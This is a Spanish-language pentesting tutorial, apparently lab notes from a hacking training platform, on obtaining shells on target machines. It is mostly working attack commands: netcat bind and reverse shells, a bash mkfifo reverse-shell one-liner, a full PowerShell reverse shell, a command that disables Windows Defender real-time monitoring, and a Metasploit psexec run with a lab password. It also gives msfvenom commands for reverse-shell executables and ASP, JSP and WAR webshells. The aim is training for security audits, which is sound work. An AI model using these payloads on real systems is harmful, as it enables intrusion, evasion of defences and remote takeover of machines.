Secciones
1. ¿Qué es un Shell?
Un shell es simplemente una interfaz entre tú y el sistema operativo, que te permite enviar comandos y recibir respuestas. Los más comunes incluyen Bash, Zsh, PowerShell y cmd.
En pentesting, conseguir un shell significa tener control interactivo sobre una máquina remota. Si lo escuchaste como «I popped a shell!», significa que alguien logró una sesión remota sobre un sistema comprometido. Esto puede lograrse mediante diversas vulnerabilidades o cargas útiles.
2. ¿Por qué es importante conseguir un Shell?
Porque desde un shell puedes:
- Escalar privilegios
- Pivotar a otros sistemas
- Transferir archivos
- Automatizar tareas
- Instalar persistencia
Y todo esto sin levantar demasiadas alertas, especialmente si se trata de un shell inverso CLI en vez de interfaces gráficas como VNC o RDP.
3. Tipos de Shells:
3.1. Shell de Enlace (Bind Shell)
En este tipo, el sistema objetivo espera conexiones. Es decir, abre un puerto como servidor y tú te conectas como cliente.
Servidor (víctima):
nc -lvnp 7777
Cliente (atacante):
nc -nv 10.129.41.200 7777
Esto solo establece una sesión de texto. Para un shell real:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 10.129.41.200 7777 > /tmp/f
3.2. Shell Inverso (Reverse Shell)
Tú como atacante esperas la conexión. Es el tipo más común porque la mayoría de firewalls bloquean conexiones entrantes pero permiten salientes.
Atacante (escucha):
sudo nc -lvnp 443
Objetivo (PowerShell):
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Si Windows Defender está activado, desactívalo:
Set-MpPreference -DisableRealtimeMonitoring $true
4. Payloads: La Entrega
Un payload es el código que ejecutamos para lograr algo. En este contexto: un shell. Puede ir embebido en scripts, binarios o ser parte de herramientas como Metasploit.
4.1. Ejemplo de Shell Inverso en Bash:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f
Payload clásico de una sola línea para sistemas Linux. Usa Bash, tuberías y Netcat para establecer una conexión interactiva inversa.
4.2. Ejemplo de Payload PowerShell:
(Ya explicado arriba, sirve para conectarte desde un objetivo Windows hacia tu listener.)
5. Automatización con Metasploit
Metasploit Framework nos ahorra tiempo al empaquetar exploits y payloads en módulos preconfigurados.
Iniciar consola:
sudo msfconsole
Ejemplo clásico: exploit psexec
use exploit/windows/smb/psexec
set RHOSTS 10.129.180.71
set SHARE ADMIN$
set SMBPass HTB_@cademy_stdnt!
set SMBUser htb-student
set LHOST 10.10.14.222
exploit
Esto lanza una carga útil de tipo meterpreter/reverse_tcp
para tener control remoto sobre el objetivo.
Una vez dentro:
meterpreter > shell
6. Generación de Payloads con MSFVenom
Linux
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > shell.elf
Genera un ejecutable ELF que lanza un shell inverso desde Linux hacia tu equipo.
Windows
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > shell.exe
Payload sin etapas (stageless) que abre un shell remoto desde un sistema Windows.
MacOS
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > shell.macho
Shell inverso para sistemas MacOS, empaquetado como archivo MACH-O.
Webshells
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > shell.asp
Carga útil web en formato ASP para comprometer servidores IIS.
JSP:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f raw > shell.jsp
Shell inverso embebido en un archivo JSP, para servidores Java como Apache Tomcat.
WAR:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f war > shell.war
Archivo WAR completo para desplegar un shell inverso en contenedores web compatibles con Java.
7. Shells Interactivos con Lenguajes Comunes
Bash:
/bin/sh -i
Shell interactivo directamente desde Bash.
Python:
python -c 'import pty; pty.spawn("/bin/sh")'
Invoca un shell interactivo mejorado usando una pty desde Python.
Perl:
perl -e 'exec "/bin/sh";'
Shell interactivo desde Perl.
Ruby:
ruby -e 'exec "/bin/sh"'
Shell interactivo lanzado desde Ruby.
Lua:
lua -e "os.execute('/bin/sh')"
Usa Lua para ejecutar un shell de sistema.
awk:
awk 'BEGIN {system("/bin/sh")}'
Shell desde awk, aprovechando su capacidad de ejecutar comandos.
find:
find . -exec /bin/sh \; -quit
Utiliza el comando find para lanzar un shell.
vim:
vim -c ':!/bin/sh'
Abre un shell desde dentro del editor Vim.
8. Extra: Ubicaciones de WebShells en Parrot OS
- Laudanum:
/usr/share/webshells/laudanum
- Antak WebShell:
/usr/share/nishang/Antak-WebShell
9. Conclusión
Obtener un shell es la puerta de entrada para realizar cualquier actividad post-explotación. La habilidad de saber elegir y usar la carga útil adecuada, así como automatizar el proceso con herramientas como Metasploit, te hará más eficiente en tus auditorías de seguridad.
No se trata de repetir comandos como loro, sino de entender qué hacen, por qué funcionan y cómo adaptarlos.